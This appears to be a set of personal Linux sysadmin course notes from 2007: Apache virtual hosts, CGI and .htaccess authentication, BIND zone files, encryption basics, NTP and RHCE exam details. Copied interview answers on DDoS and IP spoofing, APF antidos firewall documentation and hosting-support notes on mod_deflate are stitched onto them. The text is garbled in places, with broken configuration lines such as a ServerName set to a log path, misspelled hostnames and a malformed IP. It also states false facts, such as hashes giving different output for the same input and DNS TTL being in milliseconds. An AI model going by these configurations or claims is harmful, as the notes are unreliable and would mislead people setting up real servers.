# service Iptables save
# vi /etc/sysconfig/Iptables.

* removing the permanent rules 
#    rm –rf /etc/sysconfig/Iptables .





30th oct 2007
IMP: 
APACHE SERVER












Features 
1) Apache 2 --> Version
2) It Is A Type Of Web Server
3) Works On Http: http : Hyper Text Type Protocol 


FUNCTIONS OF APACHE SERVER 

- to host one or more website on a single server 

* system v services
# service httpd restart

		Configuration file
#  vi /etc/httpd/conf/httpd.conf
                     Port no.:  80







LAB SEQUENCE :

* how to configure default website using apache website

* server side step :

		     open conf file:

# vi /etc/httpd/conf/httpd.conf

Go to line.: 57 -->  ServerRoot  “/etc/httpd” (it’s configuration directory of     server)
Go to line.: 134  --> listen 80   (port no of apache web server)  
Go to line .:230--> User Apache  (it’s owner of apache server)
Go to line.:231--> Group apache( group owner of apache sever)
Go to line.:250--> ServerAdmin root@stationX.example.com
						(Administrative sever is root)
 Go to line 264--> ServerAdmin root@stationX.example.com (simple server name)
Go to line 280--> DocumentRoot  “/var/www/html”(document root of apache server)

* go to the end of file.:
* Add this following patch—

1) <VirtualHost  192.168.0.1>
2)    ServerAdmin root@station2.example.com
3)    DocumentRoot  /var/www/html
4) ServerName station2.example.com
5)  ErrorLog logs/station2.example.com-error_log
6) CustomeLog logs/station2.example.com-access_log combined
7) <Directory /var/www/html>
8) Options Includes Indexes
9) </Directory>
10) </VirtualHost>

Patchline1—start of default website
Patchline2—administrative of website
Patchline3—document root of apache server
Patchline4—name of the website
Patchline5—whenever any error in website it will record those error in this log file.
Patchline6—custom log  whenever any client excesses the website it will stored the  
                            excess log in this fiel
Patchline7—combined – syntax
Patchline8—start of directory option
Patchline9---includes it will enable server side programmes.
Patchline10—indexes    if there is no index .html page or file in document in 
                       subdirectory of document root it will displayed listing of all other
                      html file in a client

:wq!



# cd /var/www/html/
# ls

# vi index.html

	HELLO..!
THIS IS THE DEFUALT WEBSITE FOR APACHE WEB SERVER

     :wq!


# service httpd restart

* client side steps
#  links http://station2.example.com

(if gor a error remote host identification change do this steps—
          # rm –rf  .ssh/known_hosts)






* how to configure a virtual website 
open conf file—
# vi /et/httpd/conf/httpd.conf

Keep line no. 57,134,230,231  will remain the same (as for server)

Then go to the line no .: 250 make it change 
 --> ServerAdmin root@www2.example.com

* go to line no. 264
-->ServerAdmin www2.example.com.:80

Then go to end of file—

NameVirtualHost 192.168.0.2
<VirtualHost 192.168.0.2>
ServerAdmin  root@www2.example.com
DocumetRoot    /var/www/virtual/html
ServerName www2.example.com-error_log
CustomeLog  logs/www2.example.com-access_log combined

<Directory /var/www/virtual/html>
Options Includes Indexes

</Directory>
</VirtualHost>

:wq!

(#httpd  -t   --> syntax ok)

# mkdir –p /var/www/virtual/html
#cd  /var/www/virtual/html

# vi    index.html
	
THIS IS THE VIRTUAL WEBSITE

:wq!

# service httpd restart

*client side step 
Links http://www.example.com


* how to run CGI  programme in website & display out put in client browser
 CGI --> common Getway Interface

* CGI programme are use to run server programme on client browser

* server side step   

# vi /etc/httpd/conf/httpd.conf
   Go to the remaining patch same and add this line  
           (above directory type)
--ScriptAlias    /cgi-bin/   /var/www/virtual/cgi-bin/

* /cgi-bin/ :-- logical path while running a shell script 
     /var/www/virtual/cgi-bin/

* /var/www/virtual/cgi-bin 
Physical path will running a shell script

:wq!

# Mkdir –p /var/www/virtual.cgi-bin/
 # Cd     /var/www/virtual.cgi-bin/
# ls


           # vi  test.sh   ( write the following script )

                    #!/bin/bash
                     Echo  Content-Type : text/html
                     Echo
		         echo

         echo “<pre>”
         echo  “my user name is: $(whoami)”

echo
echo
echo “the date is:”
date
echo
echo “<pre>”
echo “the cal is:”
echo
echo “</pre>”


:wq!

Explanation :. 

1) command interpreter is the bash shell
2) output in the form of html
3) add a blank line
4) start of pre formatted tag
5) automatically add line breaks or page breaks

end of pre formatted tag

# chmod a+x test.sh
# service httpd restart 

* client side steps.
           #Links http:// www2.example.com/cgi-bin/test.sh

* how to protect website by user name & website

* Server side step:-
  # cd /var/www/virtual/html/
  # ls 
  # ls –al

# vi  .htaccess
          AuthName “restricted stuff”
          AuthType Basic
AuthUserFile  /etc/httpd/conf/.htpasswd-www2
Require user andy

:wq!

#  cd /etc/httpd/conf
#  htpasswd –mc .htpasswd-www2  andy

# chgrp apache .htpasswd-www2

# chmod 640.htpasswd-www2

# service httpd restart

( httpd –t syntax check of configuration) (service ntpd config test)
* after go to the main conf file
#  vi   /etc/httpd/conf/httpd.conf
                An go to the end of file

AllowOverride Authconfig
add this line above </Directory> type

# service httpd restart
   
* client side step 

#  httpd ://www2.example.com
                Then ask u for login
  Username  : andy 
     Passwd : andy
( for GUI mozilla  http://station.example.com/index.html 

http://localhost/index.html)

# Vi .htaccess
Line no 1)  authentication name that will appear on client side 
2) authentication line is basic i.e  it’s going for username & passwd
3) that is the password fiel
4) person or user who can access password i.e password andy is stored in this file


# htpasswd –mc                htpasswd-www2  andy
                  Give hyper text type password to the user andy and stored it in respective file.
           --mc :-- md5 passwd
            -C  :-- create a file
            Change group file for apache 
            Change the permission of file.
* i.e. add authentication for the website





DNS SERVER 				2nd November 07

DNS –Domain Name System Server 

Features :-

1) forward lookup -  converts hostname to IP address 
2) reverse lookup – converts IP address to hostname 
3) MX records -     mail exchanger
                                 Mail exchanger records kept inside the DNS
4)Domain Hierarchy  --  tree like structure of domain . 


Domain hierarchy                          .com    .net     .gov     o.org
                                                  
Top level domain                          yahoo	  hotmail         server1.example
                                           
Sub domain hosts /mlc’s       www    mail     S-1      S-2     S-3    S-4    S-5     S-6



* every top level domain has a different DNS server :.

* Zone  :-  zone is a set of record of every machine in domain


SYSTEM  V SERVICES  :
           PORT  NO.:    53

* two different type of DNS  
* the two main type of DNS   are 

1] MASTER  DNS : -  master DNS  consist of main copy of zone deta
2] SLAVE  DNS  :-  replicated copy of Master DNS

* Advantages of Master & Slave DNS 
    1] fault tolerance :- if master DNS server is down then we can make use of slave DNS.
    2] Load Balancing:- management of client by both.

Master & Slave .

* LAB Sequence :- 
*  How to configure  master DNS  
           3 files which are to be configure 
#    /var/named/chroot/etc/named.conf
#    forword lookup zone
#    reverse lookup zone   

#   cd  /var/named/chroot/etc/
#     vi  named.conf

Options {
		directory  “/var/named”;
              };
zone   “ost.com”  IN {
type master;
file  “ost.com.zone”;
};
zone  “0.168.192. in-addr.arpa” IN {
type master;
file  “192.168.0.zone”;
};

:wq!  

Explanation :--

Line --  1) option for the zone 
                          { start of options
              2) directory from which the zones are to be taken 
              3) End of option
              4) start of forward lookup zone for ost.com
                         IN – internet 
                    { start of zone
              5) type master – type of DNS is master DNS
              6) name of forward lookup zone 
                    7) }; end of forward lookup zone
                    8) this is revers lookup zone for ost.com
                          in-addr.arpa --> syntax of DNS
                           IN- internet   { start of reverse lookup zone 
              9) type of DNS  is master DNS
            10) name of reverse lookup zone  
                   11) }; end of reverse lookup zone 


:wq!


# cd  /var/named/shroot/var/named/

* for forward lookup zone

# vi  ost.com.zone

      $TTL   86400
 ost.com	        IN	SOA	station1.ost.com.	root.station1.ost.com. (
						42		; Serial
						3H 		; Refresh
    						15M		; Retry
						1W		; Expiry
						1D )		; Negative answer cache       

		        IN	NS	station1.ost.com.

Station1	       IN 	A	     192.168..0.1
Station2	       IN		A	     192.168.0.2
Station3	       IN		A               192.168.0.3
Station4            IN		A	     192.168.0.4
Station5	       IN		A	     192.168.0.5
Station6  	       IN		A	      192.168.0.6

@		       IN		MX	     10	       server1
@ 		       IN		MX	     19	        station1

www1              IN	       CNAME         station1   
www2              IN        CNAME         station2
      www3              IN        CNAME         station3
      www4              IN        CNAME         station4
      www5              IN        CNAME         station5
      www6              IN        CNAME         station6
      www254          IN        CNAME         server1



Explanation  :--
1) $ TTL  :-- time to live --> time to live cache
                        Memory--> the client will stored the 
                         Answer got from DNS server for ( 86400)
                        This mili second
2) ost.com  --> name of the zone
IN   --> internet
SOA --> start of authority
Station1.ost.com --> host name of DNS
Root.station1.ost.com-->  Administrator of DNS server is root user
(  --> start of option 
3)  42 --> serial version number means  -- IF  any change i.e addition of removal of  
                       Machine the next version is 2 be given.
       4)  3H ; Refresh ;  --> the slave DNS then it will replicated deta from master DNS 
                                    Every 3 hourse.
5) 15m; retry --> the slave  DNS is enable to contact master DNS  then it will
                              Keeping after every 15 min .
6) 1W; Expire --> means if slave server is not able to contact the master for 1 week  
                            then it is no use
       7) 1D ) --> if client has not got the answer from master of DNS server for a particular  
                          host machine then it will not contact DNS for 1 day for that host.
      8) IN – internet  NS  --> name server is station 2.ost.com

11) address of                          station1  is  192.168.0.1                  
12)                                                     2                      0.2
13)                                                     3                      0.3
14)                                                     4                      0.4
15)                                                     5                      0.5
16)                                                     6                      0.6
17) Server1		       server1                    0.254

18) @  -- ost.com
MX—mail exchanger 
10 – priority  of mail exchange 
19) As above 
19 -- priority
      
    21)  www1
 CNAME --> CANONICAL NAME  for www1  is station1
    22)as above
   23)
   24)
   25)
   26)
   27)  www254     is   server   canonical   name 












#  vi   192.168.0.zone 
        $TTL   86400
@          IN          SOA 	station1.ost.com	root@station1.ost.com  (
 (                        
                                            42		; Serial
				            3H	          ; Refresh
          			            15M            ; Retry
                                                1W		; Expiry
                                                1 D  )         ; minimum 
       IN	  NS		statin1.ost.com
1.0.168.192.in-addr.arpa            IN		PTR          statoon1.ost.com.    
     2.0.168.192.in-addr.arpa            IN		PTR          statoon2.ost.com.
     3.0.168.192.in-addr.arpa            IN		PTR          statoon3.ost.com.           
     4.0.168.192.in-addr.arpa            IN		PTR          statoon4.ost.com.
    5.0.168.192.in-addr.arpa            IN	          PTR          statoon5.ost.com
    6.0.168.192.in-addr.arpa            IN	          PTR          statoon6.ost.com.. 

Line 9 --> reveres lookup add for station 1  in-addr.arpa  --> syntax of DNS                 
                PTR – pointer
               Station1.ost.com  -- HOSTNAME

         Same Explanation Of Above Line

(DNS  .stuff.com)
 
#   vi   /etc/resolve.conf
               Make entry as 
           Search   ost.com
            Nameserver 192.168.0.1

:wq!

# service named restart
# cd
#  host station2.example.ost.com
                       It gives u IP address
# host   192.168.0.6
                      Hostname gives you

# host yahoo.com
                 That gives you IP address




5th  nov 2007

                     DATA  ENCRYPTION



Data              encryption              cipher 
                      algorithm	        text	
                                                           |     encrypted data


* data encrypted :--
      to convert  given deta into a coded  or encrypted far it call as data encryption

* 5 types of data encryptions:--
1) random Number algorithm
2) one way hash 
3) symmetric key encryption
4) asymmetric key encryption
5) digital certificate .


1) random Number algorithm  :-
                      this is a older method of encryption in this for same plain text
                      we will get different cipher text 
          #  openssl  --rand     bae64    23

Explanation:-
             -rand    :- random number algorithm
             Base 64:-     64 bit   key
    The num _23 :-   any plain text

2) one way hash :--
          one way hash can encrypted the data but cannot dcrypt it 
          for  same plain text  it give u different cipher text .
  # openssl  md5
                Any name
                   |
             Then press ctrl +d   twice<--| 
 
3) symmetric key encryption  :--  
            
               Sender 		internet 	receiver 

              Key                                                       keys
Steps:

1) sender will create key for encryptions 
2) sender will send the key to receiver
3) sender will encrypt the data with the key and send it’s to receiver
4) receiver  will dcrypt the data with the help of same key



* disadvantage :- if any one haks the key then he can lock the data

* Advantages :-- this method is faster the a symmetric key encryption.



4) Asymmetric key encryption  :--
                       There are <type of keys>
1) public key
2) private key


             sender-------- internet--------reciever
         |            |                      |                |
public        private            public        private
 key          key                     key          key

steps:-  
1) sender will create key pair 
1) public key
2) private key
     2)  sender will publish the public key on the internet but will protect his private key
     3) receiver does the same thing  sender will encrypted the data
     4)   with public key  of receiver
     5)  receiver will dcrypt data with his own private key

* Advantages :--  no one can hack the data  ( diff key)
* Disadvantage :--  there is no trust sender and receiver









DIGITAL CERTIFICATE :--

                      Certificate authority
Pv.k----pu.k----- CA                        pu           pr
    |          |                                            |             |
Sender-----------internet------------receiver 


Steps :--
1) sender will create will private key 
2) sender will get register with the CA  by  filling of registration  form
3) CA  will issuing  digital certificate   containing  with public key
4) Receiver will perform  same steps
5) Other steps are previous asymmetric key encryption

Advantages :--  trust between sender & receiver

* digital certificate for IMAP server 
         system V services

# service dovecote restart
# cd /etc/pki/dovecot/certs/
#    ls
          Dovecot.pem  ( remove this file)
# cd /etc/pki/tls/certs

 ( SSL—secured socket layer  )


# make  /etc/pki/dovecot/certs/dovecot.pem
                Then output

Country Name                : IN
State		                  : MAH
Organization name        : OST 
Organization unit name :  training
Common name               :   station6.example.com
E-mail address               :    just enter
	

#  cd  /etc/pki/dovecot/certs/
 # ls
# cp   dovecot.pem  ../private/
#  service dovecot restart
# mutt –f {bob@station6.example.com/ssl}
                        Press O






NTP SERVER 

* network time protocol server :--
                          ( this is synchronize)


* server side step  
* #  vi /etc/ntp.conf

:wq!

# service ntpd restart

# ntpdate  -buv  192.168.0.254
         Syncronise clock of client machine with the clock of server  machine.



* parmanant bases
#  vi  /etc/ntp.conf
                    Go to the line no 30.

Server 192.168.0.254  --add this line

# service ntpd restart
# ntpq  - check it
Ntpq> peers 
           Quit

# clear 

                            ( wall 192.168.0.X    reboot)
















Exam over view

I) troubleshooting & maintenance 
                                                                 2 ½  hours    100 marks

Questions 10
Each question having 10 marks 
5 are compulsory --  1 hrs
5+2   --RHCT    |   
5+3   -- RHCE   |    1   ½ hours 

II)    installation & configuration     	3 hours         100 marks 

Questions  --25

RHCT  --12 Q

     RHCT – 70%   |    I
                    70%   |   II

    RHCE  --  80%  |   I
                     70%   |   II




* how to add extra IP address

  #  cd  /etc/sysconfig/network-scripts/
  #  cp  ifcfg-eth0   ifcfg-eth:4

#  vi  ifcfg –eth:4
     #   service network restart

Dial up modem

# wvdial conf  /etc/wvdial.conf
# vi /etc/wvdial.conf


* Brod band modem

#  adsl  - setup
# adsl  - start
# adsl  - stop


# linux rescue noipv6 ask-method nfs grub boot loader corrupt
Add IP range from command line : 

#cd /etc/sysconfig/network-scripts

#vi ifcfg-eth0-range0

IPADDR_START=67.159.6.98
IPADDR_END=67.159.6.126
NETMASK=255.255.255.224
CLONENUM_START=0
You will have to remove the add-on domain from all the files cPanel creates an entry in and then add it back. The files are

httpd.conf (restart the httpd service once you edit it)
named.conf and .db file from /var/named/ (restart named service)
/etc/localdomains
/etc/remotedomains
/etc/trueuserdomains
/etc/userdomains
/var/cpanel/users/username (username is the main domains username)

all soution URL

http://instacarma.com/blog/tag/1. what is ddos attack and how to prevent?


A denial-of-service attack (DoS attack) or distributed denial-of-service attack (DDoS attack) is an attempt to make a computer resource unavailable to its intended users. Although the means to carry out, motives for, and targets of a DoS attack may vary, it generally consists of the concerted efforts of person or persons to prevent an Internet site or service from functioning efficiently or at all, temporarily or indefinitely. Perpetrators of DoS attacks typically target sites or services hosted on high-profile web servers such as banks, credit card payment gateways, and even root nameservers. The term is generally used with regards to computer networks, but is not limited to this field; for example, it is also used in reference to CPU resource management.[1]
One common method of attack involves saturating the target machine with external communications requests, such that it cannot respond to legitimate traffic, or responds so slowly as to be rendered effectively unavailable. In general terms, DoS attacks are implemented by either forcing the targeted computer(s) to reset, or consuming its resources so that it can no longer provide its intended service or obstructing the communication media between the intended users and the victim so that they can no longer communicate adequately.
Denial-of-service attacks are considered violations of the IAB's Internet proper use policy, and also violate the acceptable use policies of virtually all Internet service providers. They also commonly constitute violations of the laws of individual nations.[citation needed]


Prevention and response
[edit]Firewalls
Firewalls have simple rules such as to allow or deny protocols, ports or IP addresses. Some DoS attacks are too complex for today's firewalls, e.g. if there is an attack on port 80 (web service), firewalls cannot prevent that attack because they cannot distinguish good traffic from DoS attack traffic. Additionally, firewalls are too deep in the network hierarchy. Routers may be affected even before the firewall gets the traffic. Nonetheless, firewalls can effectively prevent users from launching simple flooding type attacks from machines behind the firewall.
Some stateful firewalls, like OpenBSD's pf(4) packet filter, can act as a proxy for connections: the handshake is validated (with the client) instead of simply forwarding the packet to the destination. It is available for other BSDs as well. In that context, it is called "synproxy".[41]
[edit]Switches
Most switches have some rate-limiting and ACL capability. Some switches provide automatic and/or system-wide rate limiting, traffic shaping, delayed binding (TCP splicing), deep packet inspectionand Bogon filtering (bogus IP filtering) to detect and remediate denial of service attacks through automatic rate filtering and WAN Link failover and balancing.[citation needed]
These schemes will work as long as the DoS attacks are something that can be prevented by using them. For example SYN flood can be prevented using delayed binding or TCP splicing. Similarly content based DoS can be prevented using deep packet inspection. Attacks originating from dark addresses or going to dark addresses can be prevented using Bogon filtering. Automatic rate filtering can work as long as you have set rate-thresholds correctly and granularly. Wan-link failover will work as long as both links have DoS/DDoS prevention mechanism.[citation needed]
[edit]Routers
Similar to switches, routers have some rate-limiting and ACL capability. They, too, are manually set. Most routers can be easily overwhelmed under DoS attack. If you add rules to take flow statistics out of the router during the DoS attacks, they further slow down and complicate the matter. Cisco IOS has features that prevent flooding, i.e. example settings.[42]
[edit]Application front end hardware
Application front end hardware is intelligent hardware placed on the network before traffic reaches the servers. It can be used on networks in conjunction with routers and switches. Application front end hardware analyzes data packets as they enter the system, and then identifies them as priority, regular, or dangerous. There are more than 25 bandwidth management vendors. Hardware acceleration is key to bandwidth management.[citation needed]
[edit]IPS based prevention
Intrusion-prevention systems (IPS) are effective if the attacks have signatures associated with them. However, the trend among the attacks is to have legitimate content but bad intent. Intrusion-prevention systems which work on content recognition cannot block behavior-based DoS attacks.[citation needed]
An ASIC based IPS can detect and block denial of service attacks because they have the processing power and the granularity to analyze the attacks and act like a circuit breaker in an automated way.[citation needed]
A rate-based IPS (RBIPS) must analyze traffic granularly and continuously monitor the traffic pattern and determine if there is traffic anomaly. It must let the legitimate traffic flow while blocking the DoS attack traffic.[citation needed]
[edit]Prevention via proactive testing
Test platforms such as Mu Dynamics' Service Analyzer are available to perform simulated denial-of-service attacks that can be used to evaluate defensive mechanisms such IPS, RBIPS, as well as the popular denial-of-service mitigation products from Arbor Networks. An example of proactive testing of denial-of-service throttling capabilities in a switch was performed in 2008: The Juniper EX 4200switch with integrated denial-of-service throttling was tested by Network Test and the resulting review was published in Network World.
[edit]Blackholing and sinkholing
With blackholing, all the traffic to the attacked DNS or IP address is sent to a "black hole" (null interface, non-existent server, ...). To be more efficient and avoid affecting your network connectivity, it can be managed by the ISP.[43]
Sinkholing routes to a valid IP address which analyzes traffic and rejects bad ones. Sinkholing is not efficient for most severe attacks.
[edit]Clean pipes
All traffic is passed through a "cleaning center" via a proxy, which separates "bad" traffic (DDoS and also other common internet attacks) and only sends good traffic beyond to the server. The provider needs central connectivity to the Internet to manage this kind of service.[44]
Prolexic, Verisign and Adversor are examples of providers of this service.[45][46]
[edit]



2. What is file system?


A file system (sometimes written as filesystem) is a method of storing and organizing arbitrary collections of data, in a form that is human-readable. A file system organizes data into an easy-to-manipulate database of human-readable names for the data, usually with a human-readable hierarchical organization of the data, for the storage, organization, manipulation, and retrieval by the computer's operating system. Each discrete collection of data in a file system is referred to as a computer file.



3. What is IP spoofing?


he Basic protocol for sending data over the Internet network and many other computer networks is the Internet Protocol ("IP"). The header of each IP packet contains, among other things, the numerical source and destination address of the packet. The source address is normally the address that the packet was sent from. By forging the header so it contains a different address, an attacker can make it appear that the packet was sent by a different machine. The machine that receives spoofed packets will send a response back to the forged source address, which means that this technique is mainly used when the attacker does not care about the response or the attacker has some way of guessing the response.
In certain cases, it might be possible for the attacker to see or redirect the response to his own machine. The most usual case is when the attacker is spoofing an address on the same LAN or WAN. Hence the attackers have unauthorized access to computers.






4. Port Numbers.

21 => FTP
22 => SSH
23 => Telnet
25 => SMTP Mail Transfer
43 => WHOIS service
53 => name server (DNS)
80 => HTTP (Web server)
110 => POP protocol (for email)
995 => POP over SSL/TLS
9999 => Urchin
111 => rpcbind
953 => rndc
143 => IMAP Protocol (for email)
993 => IMAP Secure
443 => HTTP Secure (SSL for https:// )
3306 = > MysQL Server
4643 => Virtuosso Power Panel
2082 => CPANEL
2083 => CPANEL - Secure/SSL
2086 => CPANEL WHM
2087 => CPANEL WHM - Secure/SSL
2095 => cpanel webmail
2096 => cpanel webmail - secure/SSL
Plesk Control Panel => 8443
DirectAdmin Control Panel => 2222
Webmin Control Panel => 10000

1. How to find which ports are open?
You can find the ports in your linux server with the nmap command
netstat -nap --tcp








5. How to work FTP and what is use of port 20 and 21?


Basically FTP is a protocol that uses two ports namely port 21 for commands and port 20 for data. In Active FTP, the client initiates a connection on the server’s command port. The server then initiates a connection with the client from its data port. In Passive FTP, the client initiates both connections with the server, which remains “passive”.


6. What is kernerl?

The kernel is the essential center of a computer operating system, the core that provides basic services for all other parts of the operating system. A synonym is nucleus. A kernel can be contrasted with a shell, the outermost part of an operating system that interacts with user commands. Kernel and shell are terms used more frequently in Unix operating systems than in IBM mainframe or Microsoft Windows systems.
Typically, a kernel (or any comparable center of an operating system) includes an interrupt handler that handles all requests or completed I/O operations that compete for the kernel's services, a scheduler that determines which programs share the kernel's processing time in what order, and a supervisor that actually gives use
LEARN MORE
* Open source Web and application servers
of the computer to each process when it is scheduled. A kernel may also include a manager of the operating system's address spaces in memory or storage, sharing these among all components and other users of the kernel's services. A kernel's services are requested by other parts of the operating system or by application programs through a specified set of program interfaces sometimes known as system calls.
Because the code that makes up the kernel is needed continuously, it is usually loaded into computer storage in an area that is protected so that it will not be overlaid with other less frequently used parts of the operating system.
The kernel is not to be confused with the Basic Input/Output System (BIOS).
Some kernels have been developed independently for use in any operating system that wants to use it. A well-known example is the Mach kernel, developed at Carnegie-Mellon University, and currently used in a version of the Linux operating system for Apple's PowerMac computers.




7. How many tables in iptables?

NAT
Mangle 
Filter



8. What are shell variables?


Anti-DoS configuration for APF Firewall - helps mitigate denial of service type attacks.


1) Introduction:
Antidos is a log parsing script made for r-fx.org's APF (advanced policy 
firewall). It's purpose is too parse specific log formats for network attacks
against a given system; then take certian actions. it is designed to be modular
so it can be removed from APF and used in other environments.

The two supported log formats are standard iptable log entries (as seen in a 
systems kernel log), and snort portscan.log format.

2) Configuration:
The configuration file for antidos is well commented and easy to configure &
navigate.

Antidos main configuration file is located at:
/etc/apf/ad/conf.antidos

You will need to go through it and configure options you feel meet your
environment settings. Below is a definition breakdown of each feature in
the conf.apf file (except misc. options), listed in the format of Option
(config option and default value) followed by definition.

Option: APF_BASE="/etc/apf"
Definition: The base install path of APF, should not need to be changed on
default installations.

Option: APF_CNF="$APF_BASE/conf.apf"
Definition: The absolute location of the APF config file, should not need to
be changed on default installations.

Option: INSPATH="$APF_BASE/ad"
Definition: The base install path of antidos, should not need to be changed on
default installations.

Option: ANTILOG="/var/log/apfados_log"
Definition: This is absolute file path that antidos should log events to. It's
creation and permissions are set by antidos however logrotate.d or the likes
can be used to handle rotation of this file.

Option: LP_KLOG="0"
Definition: Enable parsing of the kernel log file for attack events, if this or
another LP_* (log parsing) option is not enabled then antidos will not operate.
[0 = Disabled / 1 = Enabled]

Option: LP_SNORT="0"
Definition: Enable parsing of the snort portscan.log file for attack events, if 
this or another LP_* (log parsing) option is not enabled then antidos will not
operate. [0 = Disabled / 1 = Enabled]

Option: DET_SF="0"
Definition: Detect SYN_RECV connections from the netstat output; this is primarily
intended to stop syn-flood attacks against web servers. [0 = Disabled / 1 = Enabled]

Option: KLOG="/var/log/messages
Definition: The path to the system's kernel log file, iptables logs by default
to the systems kernel log.

Option: SLOG="/var/log/snort/portscan.log" 
Definition: The path to your snort installation's portscan.log file.

Option: LN="100"
Definition: The amount of lines that should be checked at the end of a given
log file. The higher this value; the slower antidos will run, 100-300 is offten
a safe bet.

Option: TRIG="12"
Definition: This value is the trigger value, if a remote IP is found present in
the given log file more than this amount; an attack is assumed to be in
progress. Setting this to low may result in a high false positive ratio, but 
to high of a value may miss attacks all together. A 10-20% value in relation
to the LN option is a good bet.

Option: SF_TRIG="25"
Definition: This value is the trigger value for syn-flood bans. If a remote IP
is found present more than this amount of times with a SYN_RECV connection; an
attack is assumed to be in progress. This value is naturally lower than
standard TRIG, and the LN option does not apply to this tigger. A value of 25
is often ideal for this option but should be increased/decreased based on load.

Option: ROUTE_REJ="0"
Definition: This option controles if attacking hosts should be rejected from
the systems route table. This is not a recommended feature but is nonetheless
common method. [0 = Disabled / 1 = Enabled]

Option: DROP_IF="0"
Definition: This option controles if the DESTINATION IP of an attack should be
droped on your system. In other words unbinding the victim ip from your system,
this is wise on networks with zero tolerence for attacks. The main adapter ip
address is obviously excempted from this feature. [0 = Disabled / 1 = Enabled]

Option: NCRIT_PORTS="$INSPATH/noncrit.ports"
Definition: Non-critical ports file; ports (destination port) defined in this
file will not trigger DROP_IF function (if set to 1). Remote hosts will still
be banned as applicable to other options (ROUTE_REJ etc..). Effective for
ignoring common scanned ports that pose no threat (e.g: netbios). This file has
a line seperated format.

Option: IPT_BL="1"
Definition: This options controles standard iptables block of an attack and
should be enabled. [0 = Disabled / 1 = Enabled]

Option: FWRST="$APF_BASE/apf -r"
Definition: The command method of restart/reloading firewall rules after an
attack ban is generated.

Option: BLOCKR="$INSPATH/ad.rules"
Definition: The location to write out iptables based blocks of an attack, this
file should be included during loadtime of your given iptables firewall(already
the case with APF).

Option: ARTOPIC="Urgent: Administrative issue enclosed, please read." 
Definition: The subject string for e-mail alerts sent by antidos.

Option: MAX_MNUM="12"
Definition: This value is used to prevent email flooding from antidos. No more
than this value of e-mail alerts will be sent out per/day. Logging events will
still be made.

Option: CONAME="Your Company"
Definition: The name of your company/Organization as will be displayed in arin
abuse notices.

Option: USR_ALERT="0"
Definition: This value controles the sending of e-mail alerts to a defined 
user. This and/or another *_ALERT setting should be enabled for some form
of notifcation of attacks. The e-mail contents of this alert can be configured
from the usr.msg file inside your antidos path. [0 = Disabled / 1 = Enabled]

Option: USR="you@yourco.com"
Definition: The user e-mail address that antidos sends attack alerts to.

Option: ARIN_ALERT="0"
Definition: This value controles the sending of e-mail alerts to the listed
arin contact info for an attacking IP (if present). This and/or another *_ALERT
setting should be enabled for some form of notifcation of attacks. The e-mail
contents of this alert can be configured from the arin.msg file inside your 
antidos path. [0 = Disabled / 1 = Enabled]

Option: IPW_SRV="whois.arin.net"
Definition: This value controles the server used to query an ip for a contact
e-mail address. If needed this should be changed to a prefered ip-whois server.

Option: RETUSR="$USR"
Definition: This value controles the return e-mail address as listed in the
arin e-mail alert sent to remote network admins. By default this value will be
taken from the USR option above.

3) Usage:
Antidos is intended to operate via cron. This is a critical setup point as if
not done, antidos will simply not operate.

The following string can be placed into /etc/crontab or similar file:
*/2 * * * * root /etc/apf/ad/antidos -a >> /dev/null 2>&1

This will run antidos every two minutes. I dont recommend running it once a
minute as it may cause a bottleneck for itself and the CPU. Likewise running it
beyound a period of once every 5 minutes is not recommended either, for obviouse
reasons.
MOD-DEFLATE : 

mod-deflate

Client asks like this :
What is the process for configuring the server to transmit my webpages with gzip compression

This Google code page recommends using gzip to compress webpages sent from the server.

http://code.google.com/speed/page-speed/docs/payload.html#GzipCompression

What does it mean by this quotation:
'To enable compression, configure your web server to set the Content-Encoding header to gzip format for all compressible resources'

-------------- OR

Google have stated recently that it will take into account the speed at which a website loads in determining the heirarchy on the search engine results page.

http://code.google.com/speed/community.html

Google recommends compressing the website prior to transmission from the server to the client via gzip compression. This has become an option recently as more of the old browsers which did not accept gzip compression become redundant in use.
My impression from searching the web and trying to interpret geekspeek is that the server can be configured to compress the website prior to transmission. It is then uncompressed by the browser with a saving of the time to resolution of the page being about 50%
The server I use is an Apache 2.0.63. There is an instruction for inserting script into the .htaccess file to configure the server to compress using the deflate command contained in a blog:
To gzip your content in Apache, you can add this to your httpd.conf or .htaccess file:

SetOutputFilter DEFLATE

There are other bits of code that others use to configure the server and use the gzip code. 
----------------------OR 
Since I would like to improve the loading time of my websites, I wish to enable compressions. But I noticed that mod_deflate and/or mod_gzip are not currently installed with Apache on the server where my websites are hosted.
Would that be possible to install one of those Apache modules ? Thank you.
------------------------OR
What I would like to do is to enable http gzip compression, so that when I access http://www.cnx-translation.com, it will compress index.htm on the fly, and instead of downloading a 64KB files, the browser would download a file between 10 to 15 KB.

I have edited my .htaccess to enable that behavior and added the line
# compress all text & html:
AddOutputFilterByType DEFLATE text/html text/plain text/xml

as instructed here:

http://betterexplained.com/articles/how-to-optimize-your-site-with-gzip-compression/

Then I tested http://www.cnx-translation.com with http://www.gidnetwork.com/tools/gzip-test.php to check if gzip was enabled but it did no seem to be successful.

Then i used php_info() to check if mod_deflate or mod_gzip were enabled in apache, but apparently they are not loaded.
--------------------------------OR


search :
 
check in phpinfo, search deflate, It should be in the section "Loaded Modules", otherwise may be it is not compiled on the server.

reply :
We don't have module deflate compiled on the server. We can move your hosting account to different server where mod_deflate is compiled. Let us know if you wish to move your hosting account to different server.
---------------------------

How to enable mod_deflate :

http://www.mydigitallife.info/2010/04/17/how-to-enable-mod_deflate-gzip-compression-on-cpanel-web-hosts/Also please read :

http://forum.ahosting.net/php-compiled-apache-cgi-suphp-fastcgi-advantages-disadvantages-394.html


http://mt5.radified.com/blog/2010/01/suphp-apache-web-server-modx-777-security.html


http://forums.cpanel.net/f185/folder-permission-755-file-permission-644-safe-124369.html

PHP compiled as Apache/CGI/suphp/FastCGI :: Advantages/Disadvantages
PHP compiled as Apache/CGI/suphp/FastCGI :: Advantages/Disadvantages


Apache Module (mod_php)
========================

Advantages:

1. speed
2. needs less memory (RAM) than CGI
3. php.ini values can be changed via PHP scripts, vhost files, .htaccess files


Disadvantages:

1. Scripts are being executed with Apache privileges, which might lead to some security related problems
2. Only one version of PHP can be installed as Apache module
3. It is not possible to have seperate php.ini files for every host

suPHP
============

PHP will be installed as binary and is included into Apache through suPHP

Advantages:

1. Scripts will be executed with user privileges.
2. Each vhost can have its own php.ini file
3. Needs less memory (RAM) than CGI
4. More than one PHP version can be run as suPHP
5. There is no need to uninstall PHP as Apache module (mod_php)

Disadvantages:

1. php.ini values cannot be changed via PHP scripts, vhost files, .htaccess files
2. suPHP might be a little slower than mod_php

CGI
============
The PHP source will be patched and installed as binary.

